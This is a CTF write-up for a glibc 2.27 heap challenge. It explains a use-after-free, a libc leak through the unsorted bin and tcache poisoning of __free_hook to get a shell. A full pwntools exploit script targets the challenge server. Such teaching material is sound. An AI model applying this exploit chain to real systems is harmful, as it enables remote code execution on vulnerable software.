Museum of Ancient Artifacts
Museum of Ancient Artifacts
Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-21 | Status: Solved Techniques: __free_hook_overwrite, uaf_tcache_poisoning, unsorted_bin_libc_leak
Summary
Task: a non-PIE heap menu binary on glibc 2.27 lets us free descriptions without clearing pointers, edit freed chunks, and read raw bytes from stale heap pointers. Solution: leak libc from an unsorted-bin chunk, poison the 0x100 tcache list to land on __free_hook, write system, then free /bin/sh.
Museum of Ancient Artifacts — DUCKERZ CTF
Description
Музей древних артефактов
English summary: the service manages exhibits containing a name pointer, a description pointer, and a year field. The goal was to abuse the heap-management bugs in the description lifecycle, gain code execution on the remote host, and read the flag.
Files:
text read-only • copy allowedmuseum libc-2.27.so
Service:
text read-only • copy allowednc tasks.duckerz.ru 30041
Analysis
Binary Protections
text read-only • copy allowedRELRO: Partial RELRO Stack: No canary NX: NX enabled PIE: No PIE Stripped: No
Data Structure
Each exhibit stores three fields:
c read-only • copy allowedstruct exhibit { char *name; // 0x00 char *description; // 0x08 long year; // 0x10 };
The menu actions were:
add_exhibitview_exhibitedit_exhibit_descriptionremove_exhibitdiscard_descriptioninspect_exhibit_rawexit
Vulnerabilities
1. discard_description() creates a stale pointer
The function frees the description buffer but does not clear exhibit->description. That gives two important primitives:
- use-after-free read/write through later actions that still trust the pointer
- repeat free / double-free style behavior on the same logical description slot
2. edit_exhibit_description() always writes 0xff bytes
The edit path does not respect the original allocation size. Even if the chunk was smaller, or even already freed, the function still performs a read(..., 0xff). That means:
- heap overflow for live chunks
- direct metadata overwrite for freed chunks in tcache
For this challenge, the most useful case is editing a freed 0x100 chunk to corrupt its tcache forward pointer.
3. inspect_exhibit_raw() leaks 8 bytes from the stale pointer
This option prints 8 raw bytes from the description pointer. When the pointed chunk is freed into the unsorted bin, the first qword becomes the unsorted-bin fd pointer. In glibc 2.27 that pointer targets main_arena + 96, which gives a reliable libc leak.
Solution
Exploitation Strategy
We choose description size 0xf0, which becomes a 0x100 heap chunk after allocator metadata. This size is large enough for tcache and convenient for both filling the bin and poisoning it.
The full plan is:
- Create 9 exhibits with description size
0xf0. - Free descriptions of exhibits
0..6withdiscard_description()to fill tcache for0x100chunks. - Free exhibit
7's description. Because the tcache bin is already full, this chunk goes to the unsorted bin. - Use
inspect_exhibit_raw(7)to read the unsorted-binfdpointer and compute the libc base frommain_arena + 96. - Use
edit_exhibit_description(6, ...)on a freed tcache chunk and overwrite itsfdpointer with__free_hook. - Allocate two new
0xf0descriptions. The first pops the poisoned chunk, and the second returns a chunk overlapping__free_hook. - Write the address of
systeminto__free_hook. - Create one more exhibit whose description is
/bin/sh\x00. - Call
discard_description()on that exhibit. Internally this becomesfree("/bin/sh"), but__free_hookredirects it tosystem("/bin/sh"). - Interact with the shell and read the flag.
Why This Works
- glibc 2.27 has tcache but no safe-linking, so the poisoned
fdis a plain pointer. __free_hookstill exists in glibc 2.27 and is writable.- The stale description pointer survives after free, so we can both leak and overwrite freed chunks through normal menu actions.
Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.binary = elf = ELF("./museum", checksec=False) libc = ELF("./libc-2.27.so", checksec=False) context.arch = "amd64" HOST = "tasks.duckerz.ru" PORT = 30041 def start(): if args.REMOTE: return remote(HOST, PORT) return process([elf.path]) def menu(io, choice): io.sendlineafter(b"> ", str(choice).encode()) def add_exhibit(io, name, desc_size, desc, year=1337): menu(io, 1) io.sendlineafter(b"name", name) io.sendlineafter(b"size", str(desc_size).encode()) io.sendafter(b"description", desc) io.sendlineafter(b"year", str(year).encode()) def view_exhibit(io, idx): menu(io, 2) io.sendlineafter(b"index", str(idx).encode()) def edit_description(io, idx, data): menu(io, 3) io.sendlineafter(b"index", str(idx).encode()) io.sendafter(b"description", data) def remove_exhibit(io, idx): menu(io, 4) io.sendlineafter(b"index", str(idx).encode()) def discard_description(io, idx): menu(io, 5) io.sendlineafter(b"index", str(idx).encode()) def inspect_raw(io, idx): menu(io, 6) io.sendlineafter(b"index", str(idx).encode()) io.recvuntil(b"Raw: ") return io.recvn(8) def main(): io = start() # Phase 1: prepare 9 chunks of size 0x100 (request 0xf0) for i in range(9): add_exhibit(io, f"ex{i}".encode(), 0xF0, b"A" * 8, 1900 + i) # Fill tcache[0x100] for i in range(7): discard_description(io, i) # One more free goes to unsorted bin because tcache bin is full discard_description(io, 7) leak = u64(inspect_raw(io, 7)) libc.address = leak - (libc.symbols["main_arena"] + 96) log.success(f"unsorted leak = {hex(leak)}") log.success(f"libc base = {hex(libc.address)}") free_hook = libc.symbols["__free_hook"] system = libc.symbols["system"] log.info(f"__free_hook = {hex(free_hook)}") log.info(f"system = {hex(system)}") # Phase 2: poison a freed tcache chunk through UAF edit # Chunk 6 is freed and lives in tcache[0x100]. Overwrite its fd. edit_description(io, 6, p64(free_hook)) # First allocation returns chunk 6 itself, second returns __free_hook add_exhibit(io, b"pad", 0xF0, b"B" * 8, 2000) add_exhibit(io, b"hook", 0xF0, p64(system), 2001) # Phase 3: trigger system("/bin/sh") through __free_hook add_exhibit(io, b"sh", 0xF0, b"/bin/sh\x00", 2002) discard_description(io, 11) io.interactive() if __name__ == "__main__": main()
Key Heap State
After freeing descriptions 0..6, the 0x100 tcache bin is full.
When we free description 7, it cannot enter tcache anymore, so it lands in the unsorted bin and its user data starts with libc pointers:
text read-only • copy allowedchunk7->fd = main_arena + 96 chunk7->bk = main_arena + 96
That leak gives:
text read-only • copy allowedlibc_base = leak - (main_arena + 96)
Then we corrupt the fd pointer of a freed tcache chunk:
text read-only • copy allowedtcache[0x100]: chunk6 -> ... | +-- overwrite fd with __free_hook
Two same-size allocations later, malloc returns a pointer at __free_hook, and we replace it with system.